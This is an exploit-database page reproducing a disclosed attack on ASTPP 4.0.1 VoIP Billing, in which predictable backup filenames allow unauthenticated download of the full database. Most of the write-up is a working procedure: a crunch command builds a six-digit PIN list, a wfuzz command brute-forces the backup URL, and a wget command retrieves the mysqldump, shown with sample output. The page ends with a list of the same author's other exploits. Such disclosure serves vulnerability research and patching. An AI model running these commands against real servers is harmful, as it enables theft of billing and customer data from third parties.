Search for hundreds of thousands of exploits

"ASTPP 4.0.1 VoIP Billing - Database Backup Download"

Author

Exploit author

"Fabien AUNAY"

Platform

Exploit platform

linux

Release date

Exploit published date

2020-01-10

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Exploit Title: ASTPP 4.0.1 VoIP Billing - Database Backup Download
# Date: 2019-11-18
# Exploit Author: Fabien AUNAY
# Vendor Homepage: https://www.astppbilling.org/
# Software Link: https://github.com/iNextrix/ASTPP/tree/v4.0.1
# Version: 4.0.1 vendor default setup script
# Tested on: Debian 9 - CentOS 7
# CVE : -

###########################################################################################################
ASTPP 4.0.1 VoIP Billing Unauthenticated Predictable database backup download

A Smart TelePhony Platform for Individual Business, Wholesale and Residential VoIP Service Providers!
It is available as an open source solution. It means without any investment, one can start his telephony
business using ASTPP.
ASTPP, being one of the most powerful VoIP Billing Software, thrives to benefit its users by providing a
comprehensive telephony solution. This open source solution has lifted itself up from a mere VoIP billing
solution to β€œA Smart TelePhony Platform”.
The latest version of ASTPP is provisioned with some advanced functional modules which are designed
to eliminate the need of multiple solutions to run a VoIP business. It has integrated hosted IP PBX, Class
4/5 Softswitch, and complete invoicing and billing solution developed by leveraging Smart
Technology.

When administrator performs a ASTPP backup in web interface (Configuration / Database Restore / Create)
the file name follows a semi-predictable pattern located in /var/www/html/astpp/database_backup/.

The file name can be FUZZED for data exfiltration with the following pattern: astpp_20200110080136.sql.gz

Pattern review:
- astpp_
- year
- month
- day
- 6 PIN digit

Steps:
Objective 1 : Generate your 6 PIN list
Objective 2 : FUZZ the target URL
Objective 3 : Download the mysqldump

###########################################################################################################

Objective 1: Generate your 6 PIN list
POC: crunch 6 6 0123456789 > pin_fuzzer.list

Objective 2 : FUZZ the target URL
POC: wfuzz --hc 302 -w pin_fuzzer.list 'http://127.0.0.1/database_backup/astpp_20200110FUZZ.sql.gz'
===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000080137:   200        1135 L   6859 W   550239 Ch   "080136"

Objective 3 : Download the mysqldump
POC: wget http://127.0.0.1/database_backup/astpp_20200110080136.sql.gz
astpp_20200110080136.sql.gz             100%[===============================================================================>] 296,70K  1,05MB/s    ds 0,3
Release DateTitleTypePlatformAuthor
2020-01-29"Centreon 19.10.5 - 'centreontrapd' Remote Command Execution"webappsphp"Fabien AUNAY"
2020-01-28"Centreon 19.10.5 - Database Credentials Disclosure"webappsphp"Fabien AUNAY"
2020-01-28"Centreon 19.10.5 - Remote Command Execution"webappsphp"Fabien AUNAY"
2020-01-10"ASTPP 4.0.1 VoIP Billing - Database Backup Download"webappslinux"Fabien AUNAY"
2020-01-08"ASTPP VoIP 4.0.1 - Remote Code Execution"remotelinux"Fabien AUNAY"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47900/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.